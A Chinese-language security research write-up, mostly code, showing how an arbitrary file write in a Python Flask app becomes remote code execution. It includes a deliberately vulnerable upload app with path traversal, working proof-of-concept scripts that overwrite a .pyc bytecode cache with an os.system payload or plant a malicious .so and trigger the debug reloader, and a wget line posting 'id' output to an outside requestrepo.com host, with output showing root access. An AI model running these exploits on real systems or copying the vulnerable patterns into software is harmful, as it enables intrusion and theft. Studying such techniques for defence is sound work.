只需写个 .pyc 文件？Python 任意文件写入也能打 RCE！

<Files ~ ".*">    Require all granted    Order allow,deny    Allow from all</Files>AddType application/x-httpd-php .txt

import importlib.utildef dynamicImportModule(moduleName, modulePath):    spec = importlib.util.spec_from_file_location(moduleName, modulePath)    importedModule = importlib.util.module_from_spec(spec)    spec.loader.exec_module(importedModule)    # 对导入的模块执行某些操作dynamicImportModule('utils', 'utils.py')

import concurrent.futuresdef dynamicImportModule(module):    importedModule = __import__(module)    # 对导入的模块执行某些操作with concurrent.futures.ProcessPoolExecutor() as executor:    executor.submit(dynamicImportModule, 'utils')

import reimport importlib.utilfrom flask import Flask, request, make_responsefrom pathlib import PathAPP_DIRECTORY_NAME = 'app'UPLOAD_FOLDER = f'/{APP_DIRECTORY_NAME}/uploads/'FILENAME_REGEX_PATTERN = re.compile('^[a-zA-Z0-9-.]+$')MODULES = [{ 'moduleName': 'telemetry', 'path': 'telemetry.py' }]app = Flask(__name__)def dynamicImportModule(moduleName, modulePath, *args):    spec = importlib.util.spec_from_file_location(moduleName, modulePath)    importedModule = importlib.util.module_from_spec(spec)    spec.loader.exec_module(importedModule)    if moduleName == MODULES[0]['moduleName']:        importedModule.sendTelemetryData(*args)def isFilePathValid(filePath):    absolutePathParts = filePath.parts    if absolutePathParts[0] != '/' or absolutePathParts[1] != APP_DIRECTORY_NAME:        return False    return Truedef isFilenameValid(filename):    regexMatch = FILENAME_REGEX_PATTERN.search(filename)    isPythonExtension = filename.endswith('.py')    if regexMatch is None or isPythonExtension:        return False    return True@app.route('/upload', methods=('POST',))def fileUpload():    file = request.files['file']    absolutePath = Path(f'{UPLOAD_FOLDER}{file.filename}').resolve()    if not isFilePathValid(absolutePath):        return 'Invalid file path'    parsedFilename = absolutePath.name    if not isFilenameValid(parsedFilename):        return 'Filename contains illegal character(s)'    fileContent = file.read()    with open(absolutePath, 'wb') as file:        file.write(fileContent)    return 'Your file is uploaded'@app.route('/read', methods=('GET',))def fileRead():    filename = request.args.get('filename', '')    absolutePath = Path(f'{UPLOAD_FOLDER}{filename}').resolve()    if not isFilePathValid(absolutePath):        return 'Invalid file path'    parsedFilename = absolutePath.name    if not isFilenameValid(parsedFilename):        return 'Filename contains illegal character(s)'    try:        with open(absolutePath, 'rb') as file:            response = make_response(file.read())            response.headers['Content-Type'] = 'text/plain'            return response    except:        return 'File Unable to read the file'@app.route('/telemetry', methods=('GET',))def sendTelemetryData():    data = request.args.get('data', 'Empty data')    telemetryModule = MODULES[0]    dynamicImportModule(telemetryModule['moduleName'], telemetryModule['path'], data)    return 'Telemetry data has been submitted'if __name__ == '__main__':    app.run(debug=True)

def sendTelemetryData(data):    # for demo only    print(f'[TELEMETRY] {data}')

FROM python:3.11-alpineWORKDIR /appENV FLASK_APP=app.pyENV FLASK_RUN_HOST=0.0.0.0COPY ./src .RUN pip3 install requests flaskRUN rm -rf /app/uploads && mkdir /app/uploadsEXPOSE 5000ENTRYPOINT [ "flask", "run" ]

import requestsimport structimport timeimport marshalfrom io import BytesIOTELEMETRY_ENDPOINT = '/telemetry'FILE_READ_ENDPOINT = '/read'FILE_UPLOAD_ENDPOINT = '/upload'EXFILTRATED_FLAG_FILENAME = 'output.txt'MAGIC_TAG = 'cpython-311'BYTECODE_FILE_PATH = f'/../__pycache__/telemetry.{MAGIC_TAG}.pyc'FIELD_SIZE = 4 # https://nowave.it/python-bytecode-analysis-1.htmlRCE_SOURCE_CODE = f'__import__("os").system("id > /app/uploads/{EXFILTRATED_FLAG_FILENAME}")'BYTECODE_FILENAME = '/app/telemetry.py' # this can be anythingbaseUrl = 'http://localhost:5000'def modifyBytecode(bytecode):    # modified from https://github.com/gmodena/pycdump/blob/master/dump.py    # magic number and modification date timestamp field MUST match to the original one, otherwise Python will recompile it again    headers = bytecode[0:16]    magicNumber, bitField, modDate, sourceSize = [headers[i:i + FIELD_SIZE] for i in range(0, len(headers), FIELD_SIZE)]    modTime = time.asctime(time.localtime(struct.unpack("=L", modDate)[0]))    unpackedSourceSize = struct.unpack("=L", sourceSize)[0]    print(f'[*] Magic number: {magicNumber}')    print(f'[*] Bit field: {bitField}')    print(f'[*] Source modification time: {modTime}')    print(f'[*] Source file size: {unpackedSourceSize}')    codeObject = compile(RCE_SOURCE_CODE, BYTECODE_FILENAME, 'exec')    codeBytes = marshal.dumps(codeObject)    newBytecode = magicNumber + bitField + modDate + sourceSize + codeBytes    return newBytecodedef triggerDynamicImport():    requests.get(f'{baseUrl}{TELEMETRY_ENDPOINT}')def readFile(filename):    parameter = { 'filename': filename }    return requests.get(f'{baseUrl}{FILE_READ_ENDPOINT}', params=parameter).contentdef uploadFile(filename, fileContent):    fileBytes = BytesIO(fileContent)    file = { 'file': (filename, fileBytes, 'text/plain') }    requests.post(f'{baseUrl}{FILE_UPLOAD_ENDPOINT}', files=file).textif __name__ == '__main__':    print('[*] Force compile telemetry.py bytecode file on the server...')    triggerDynamicImport()    print('[*] Reading the bytecode file content...')    originalBytecode = readFile(BYTECODE_FILE_PATH)    print('[*] Modifying the bytecode with our own RCE payload...')    newBytecode = modifyBytecode(originalBytecode)    print(f'[+] RCE payload:n{newBytecode}')    print('[*] Overwriting the original bytecode file with our own RCE payload...')    uploadFile(BYTECODE_FILE_PATH, newBytecode)    print('[*] Triggering the overwritten bytecode file...')    triggerDynamicImport()    payloadOutput = readFile(EXFILTRATED_FLAG_FILENAME).decode().strip()    print(f'[+] Payload output:n{payloadOutput}')

└> python3 poc.py [*] Force compile telemetry.py bytecode file on the server...[*] Reading the bytecode file content...[*] Modifying the bytecode with our own RCE payload...[*] Magic number: b'xa7rrn'[*] Bit field: b'x00x00x00x00'[*] Source modification time: Tue Apr 15 22:27:19 2025[*] Source file size: 81[+] RCE payload:b'xa7rrnx00x00x00x00xc7lxfegQx00x00x00xe3x00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00x00x00x00x00xf3Bx00x00x00x97x00x02x00ex00dx00xa6x01x00x00xabx01x00x00x00x00x00x00x00x00xa0x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00dx01xa6x01x00x00xabx01x00x00x00x00x00x00x00x00x01x00dx02Sx00)x03xdax02oszx1cid > /app/uploads/output.txtN)x02xdan__import__xdax06systemxa9x00xf3x00x00x00x00xfax11/app/telemetry.pyxfax08<module>rx08x00x00x00x01x00x00x00s*x00x00x00xf0x03x01x01x01xd8x00nx80nx884xd1x00x10xd4x00x10xd7x00x17xd2x00x17xd0x186xd1x007xd4x007xd0x007xd0x007xd0x007rx06x00x00x00'[*] Overwriting the original bytecode file with our own RCE payload...[*] Triggering the overwritten bytecode file...[+] Payload output:uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

!> curl -v http://localhost:5000/[...]< HTTP/1.1 404 NOT FOUND< Server: Werkzeug/3.1.3 Python/3.11.12[...]

!> python3Python 3.11.2 (main, Nov 30 2024, 21:22:50) [GCC 12.2.0] on linux[...]>>> import importlib.util>>> importlib.util.MAGIC_NUMBERb'xa7rrn'

> python3Python 3.11.2 (main, Nov 30 2024, 21:22:50) [GCC 12.2.0] on linux[...]>>> import importlib>>> importlib.machinery.all_suffixes()['.py', '.pyc', '.cpython-311-x86_64-linux-gnu.so', '.abi3.so', '.so']

def spec_from_file_location(name, location=None, *, loader=None, submodule_search_locations=None):    [...]    # 如果没有提供加载器，则选择一个    if loader is None:        for loader_class, suffixes in _get_supported_file_loaders():            if location.endswith(tuple(suffixes)):                loader = loader_class(name, location)                spec.loader = loader                break        else:            [...]

def _get_supported_file_loaders():    [...]    extension_loaders = []    if hasattr(_imp, 'create_dynamic'):        [...]        extension_loaders.append((ExtensionFileLoader, _imp.extension_suffixes()))    source = (SourceFileLoader, SOURCE_SUFFIXES)    bytecode = (SourcelessFileLoader, BYTECODE_SUFFIXES)    return extension_loaders + [source, bytecode]

>>> importlib._bootstrap_external._get_supported_file_loaders()[    (<class '_frozen_importlib_external.ExtensionFileLoader'>, ['.cpython-311-x86_64-linux-gnu.so', '.abi3.so', '.so']),    (<class '_frozen_importlib_external.SourceFileLoader'>, ['.py']),    (<class '_frozen_importlib_external.SourcelessFileLoader'>, ['.pyc'])]

__import__('os').system('wget --post-data "$(id)" -O- 48jcuj6n.requestrepo.com')

> cythonize -i telemetry.py [...]x86_64-linux-gnu-gcc -shared -Wl,-O1 -Wl,-Bsymbolic-functions -g -fwrapv -O2 -g -fwrapv -O2 -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -o telemetry.cpython-311-x86_64-linux-gnu.so telemetry.so

MODULES = [{ 'moduleName': 'telemetry', 'path': 'telemetry.py' }] [...]def dynamicImportModule(moduleName, modulePath, *args):    spec = importlib.util.spec_from_file_location(moduleName, modulePath)    importedModule = importlib.util.module_from_spec(spec)    spec.loader.exec_module(importedModule)

import concurrent.futures [...]def dynamicImportModule(moduleName, *args):    importedModule = __import__(moduleName)    if moduleName == MODULES[0]['moduleName']:        importedModule.sendTelemetryData(*args)@app.route('/telemetry', methods=['GET'])def sendTelemetryData():    data = request.args.get('data', 'Empty data')    telemetryModule = MODULES[0]    with concurrent.futures.ProcessPoolExecutor() as executor:        executor.submit(dynamicImportModule, telemetryModule['moduleName'], data)    return 'Telemetry data has been submitted'

!> python3 poc_shared_object_file.py[*] Writing our shared object file...[*] Triggering the second import in a different process...

import telemetry# 对导入的模块执行某些操作def main():    [...]

class WatchdogReloaderLoop(ReloaderLoop):    def __init__(self, *args: t.Any, **kwargs: t.Any) -> None:        [...]        # 额外模式可以是非Python文件，除了默认和额外目录中的所有Python文件外，还匹配它们。        # 忽略__pycache__，因为那里的更改总是会有对源文件（或初始pyc文件）的更改。        # 忽略Git和Mercurial内部更改。        extra_patterns = [p for p in self.extra_files if not os.path.isdir(p)]        self.event_handler = EventHandler(            patterns=["*.py", "*.pyc", "*.zip", *extra_patterns],            ignore_patterns=[                *[f"*/{d}/*" for d in _ignore_common_dirs],                *self.exclude_patterns,            ],        )

import reimport telemetryfrom flask import Flask, requestfrom pathlib import PathAPP_DIRECTORY_NAME = 'app'UPLOAD_FOLDER = f'/{APP_DIRECTORY_NAME}/uploads/'FILENAME_REGEX_PATTERN = re.compile('^[a-zA-Z0-9-.]+$')app = Flask(__name__)def isFilePathValid(filePath):    absolutePathParts = filePath.parts    if absolutePathParts[0] != '/' or absolutePathParts[1] != APP_DIRECTORY_NAME:        return False    return Truedef isFilenameValid(filename):    regexMatch = FILENAME_REGEX_PATTERN.search(filename)    isPythonExtension = filename.endswith('.py')    if regexMatch is None or isPythonExtension:        return False    return True@app.route('/upload', methods=('POST',))def fileUpload():    file = request.files['file']    absolutePath = Path(f'{UPLOAD_FOLDER}{file.filename}').resolve()    if not isFilePathValid(absolutePath):        return 'Invalid file path'    parsedFilename = absolutePath.name    if not isFilenameValid(parsedFilename):        return 'Filename contains illegal character(s)'    fileContent = file.read()    with open(absolutePath, 'wb') as file:        file.write(fileContent)    return 'Your file is uploaded'@app.route('/telemetry', methods=('GET',))def sendTelemetryData():    data = request.args.get('data', 'Empty data')    telemetry.sendTelemetryData(data)    return 'Telemetry data has been submitted'if __name__ == '__main__':    app.run(debug=True)

FROM python:3.11-alpineWORKDIR /appENV FLASK_APP=app.pyENV FLASK_RUN_HOST=0.0.0.0COPY ./src .RUN pip3 install requests flaskRUN rm -rf /app/uploads && mkdir /app/uploadsEXPOSE 5000ENTRYPOINT [ "flask", "run", "--debug" ] # debug mode is on

import requestsfrom io import BytesIOfrom time import sleepFILE_UPLOAD_ENDPOINT = '/upload'SHARED_OBJECT_FILE_PATH = f'/../telemetry.so'baseUrl = 'http://localhost:5000'def getSharedObjectFileContent(filename):    with open(filename, 'rb') as file:        return file.read()def uploadFile(filename, fileContent):    fileBytes = BytesIO(fileContent)    file = { 'file': (filename, fileBytes, 'text/plain') }    requests.post(f'{baseUrl}{FILE_UPLOAD_ENDPOINT}', files=file).textdef triggerReloader():    uploadFile('/../anything.pyc', b'foo') # create the file    sleep(1) # wait for different modification time (mtime)    uploadFile('/../anything.pyc', b'foo') # overwrite it again so that it'll have different mtimeif __name__ == '__main__':    print('[*] Writing our shared object file...')    sharedObjectFile = getSharedObjectFileContent('telemetry.so')    uploadFile(SHARED_OBJECT_FILE_PATH, sharedObjectFile)    print('[*] Triggering the reloader...')    triggerReloader()

!> python3 poc_shared_object_file_trigger_reload.py[*] Writing our shared object file...[*] Triggering the reloader...

[...]172.18.0.1 - - [28/Apr/2025 09:38:53] "POST /upload HTTP/1.1" 200 -172.18.0.1 - - [28/Apr/2025 09:38:53] "POST /upload HTTP/1.1" 200 -172.18.0.1 - - [28/Apr/2025 09:38:54] "POST /upload HTTP/1.1" 200 - * Detected change in '/app/anything.pyc', reloading * Restarting with statConnecting to 48jcuj6n.requestrepo.com (130.61.138.67:80)writing to stdoutwritten to stdout * Debugger is active! * Debugger PIN: 192-854-631